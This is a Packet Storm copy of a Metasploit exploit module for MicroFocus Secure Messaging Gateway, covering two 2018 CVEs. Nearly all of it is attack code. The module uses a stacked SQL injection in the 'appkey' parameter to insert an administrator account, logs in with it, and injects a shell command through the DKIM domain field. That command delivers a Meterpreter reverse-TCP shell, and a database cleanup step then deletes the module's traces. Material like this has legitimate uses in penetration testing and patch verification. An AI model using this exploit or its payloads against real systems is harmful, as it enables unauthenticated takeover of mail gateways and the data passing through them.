MicroFocus Secure Messaging Gateway Remote Code Execution

2018-07-31T00:00:00
ID PACKETSTORM:148758
Type packetstorm
Reporter Mehmet Ince
Modified 2018-07-31T00:00:00

Description

                                        
                                            `##  
# This module requires Metasploit: https://metasploit.com/download  
# Current source: https://github.com/rapid7/metasploit-framework  
##  
  
class MetasploitModule < Msf::Exploit::Remote  
Rank = ExcellentRanking  
  
include Msf::Exploit::Remote::HttpClient  
  
def initialize(info={})  
super(update_info(info,  
'Name' => "MicroFocus Secure Messaging Gateway Remote Code Execution",  
'Description' => %q{  
This module exploits a SQL injection and command injection vulnerability in MicroFocus Secure Messaging Gateway.  
An unauthenticated user can execute a terminal command under the context of the web user.  
  
One of the user supplied parameters of API endpoint is used by the application without input validation and/or parameter binding,  
which leads to SQL injection vulnerability. Successfully exploiting this vulnerability gives a ability to add new user onto system.  
manage_domains_dkim_keygen_request.php endpoint is responsible for executing an operation system command. It's not possible  
to access this endpoint without having a valid session.  
  
Combining these vulnerabilities gives the opportunity execute operation system commands under the context  
of the web user.  
},  
'License' => MSF_LICENSE,  
'Author' =>  
[  
'Mehmet Ince <mehmet@mehmetince.net>' # author & msf module  
],  
'References' =>  
[  
['URL', 'https://pentest.blog/unexpected-journey-6-all-ways-lead-to-rome-remote-code-execution-on-microfocus-secure-messaging-gateway/'],  
['CVE', '2018-12464'],  
['CVE', '2018-12465'],  
['URL', 'https://support.microfocus.com/kb/doc.php?id=7023132'],  
['URL', 'https://support.microfocus.com/kb/doc.php?id=7023133']  
],  
'DefaultOptions' =>  
{  
'Payload' => 'php/meterpreter/reverse_tcp',  
'Encoder' => 'php/base64'  
},  
'Platform' => ['php'],  
'Arch' => ARCH_PHP,  
'Targets' => [[ 'Automatic', { }]],  
'Privileged' => false,  
'DisclosureDate' => "Jun 19 2018",  
'DefaultTarget' => 0  
))  
  
register_options(  
[  
OptString.new('TARGETURI', [true, 'The URI of the vulnerable instance', '/'])  
]  
)  
end  
  
def execute_query(query)  
#  
# We have a very rare SQLi case in here. Normally, it's would be very easy to exploit it by using time-based techniques  
# but since we are able to use stacked-query approach, following form of payload is required in order to be able  
# get back the output of query !  
#  
sql = rand_text_alphanumeric(3 + rand(3))  
sql << "') LEFT JOIN ScanEngineProperty AS ScanEngineBindAddressPlain ON ScanEngineBindAddressPlain.idScanEngine=ScanEngineProperty.idScanEngine "  
sql << "LEFT JOIN ScanEngineProperty AS ScanEngineBindAddressSsl ON ScanEngineBindAddressSsl.idScanEngine=ScanEngineProperty.idScanEngine "  
sql << "LEFT JOIN ScanEngineProperty AS ScanEngineEnableSsl ON ScanEngineEnableSsl.idScanEngine=ScanEngineProperty.idScanEngine; "  
sql << query  
sql << "; -- "  
sql << rand_text_alphanumeric(3 + rand(3))  
  
send_request_cgi(  
'method' => 'POST',  
'uri' => normalize_uri(target_uri.path, 'api', '1', 'enginelist.php'),  
'vars_post' => {  
'appkey' => sql  
}  
)  
  
end  
  
def something_went_wrong  
fail_with Failure::Unknown, 'Something went wrong'  
end  
  
def check  
r = rand_text_numeric(15..35)  
res = execute_query("SELECT #{r}")  
unless res  
vprint_error 'Connection failed'  
return CheckCode::Unknown  
end  
unless res.code == 200 && res.body.include?(r)  
return CheckCode::Safe  
end  
CheckCode::Vulnerable  
end  
  
def implant_payload(cookie)  
print_status('Creating a domain record with a malformed DKIM data')  
p = [  
{  
:id => 'temp_0',  
:Description => rand_text_alpha(5),  
:DkimList => [  
{  
:Domain => "$(php -r '#{payload.encoded}')",  
:Selector => '',  
:TempId => 'tempDkim_1'  
}  
]  
}  
].to_json  
res = send_request_cgi({  
'method' => 'POST',  
'uri' => normalize_uri(target_uri.path, 'admin', 'contents', 'ou', 'manage_domains_save_data.json.php'),  
'cookie' => cookie,  
'vars_get' => {  
'cache' => 0,  
},  
'vars_post' => {  
'StateData' => '[{"ouid":1}]',  
'SaveData' => p  
}  
})  
  
if res && res.code == 200 && res.body.include?('DbNodeId')  
# Defining as global variable since we need to access them later within clean up function.  
begin  
@domainid = res.get_json_document['Nodes'][0]['DbNodeId']  
@dkimid = res.get_json_document['Nodes'][1]['DbNodeId']  
rescue => e  
fail_with Failure::UnexpectedReply, "Something went horribly wrong while implanting the payload : #{e.message}"  
end  
print_good('Payload is successfully implanted')  
else  
something_went_wrong  
end  
end  
  
def create_user  
# We need to create an user by exploiting SQLi flaws so we can reach out to cmd injection  
# issue location where requires a valid session !  
print_status('Creating a user with appropriate privileges')  
  
# Defining as global variable since we need to access them later within clean up function.  
@username = rand_text_alpha_lower(5..25)  
@userid = rand_text_numeric(6..8)  
query = "INSERT INTO account VALUES (#{@userid}, 1, '#{@username}', '0', '', 1,61011);INSERT INTO UserRole VALUES (#{@userid},#{@userid},1),(#{@userid.to_i-1},#{@userid},2)"  
  
execute_query(query)  
res = execute_query("SELECT * FROM account WHERE loginname = '#{@username}'")  
  
if res && res.code == 200 && res.body.include?(@username)  
print_good("User successfully created. Username : #{@username}")  
else  
something_went_wrong  
end  
end  
  
def login  
print_status("Authenticating with created user")  
res = send_request_cgi(  
'method' => 'POST',  
'uri' => normalize_uri(target_uri.path, 'security', 'securitygate.php'),  
'vars_post' => {  
'username' => @username,  
'password' => rand_text_alpha_lower(5..25),  
'passwordmandatory' => rand_text_alpha_lower(5..25),  
'LimitInterfaceId' => 1  
}  
)  
if res && res.code == 200 && res.body.include?('/ui/default/index.php')  
print_good('Successfully authenticated')  
cookie = res.get_cookies  
else  
something_went_wrong  
end  
cookie  
end  
  
def exploit  
unless check == CheckCode::Vulnerable  
fail_with Failure::NotVulnerable, 'Target is not vulnerable'  
end  
  
create_user  
cookie = login  
implant_payload(cookie)  
  
print_status('Triggering an implanted payload')  
send_request_cgi({  
'method' => 'POST',  
'uri' => normalize_uri(target_uri.path, 'admin', 'contents', 'ou', 'manage_domains_dkim_keygen_request.php'),  
'cookie' => cookie,  
'vars_get' => {  
'cache' => 0,  
},  
'vars_post' => {  
'DkimRecordId' => @dkimid  
}  
})  
  
end  
  
def on_new_session(session)  
print_status('Cleaning up...')  
cmd = ""  
cmd << 'PGPASSWORD=postgres psql -U postgres -d SecureGateway -c "'  
cmd << "DELETE FROM account WHERE loginname ='#{@username}';"  
cmd << "DELETE FROM UserRole WHERE idaccount = #{@userid};"  
cmd << "DELETE FROM Domain WHERE iddomain = #{@domainid};"  
cmd << "DELETE FROM DkimSignature WHERE iddkimsignature = #{@dkimid};"  
cmd << '"'  
session.shell_command_token(cmd)  
end  
  
end  
`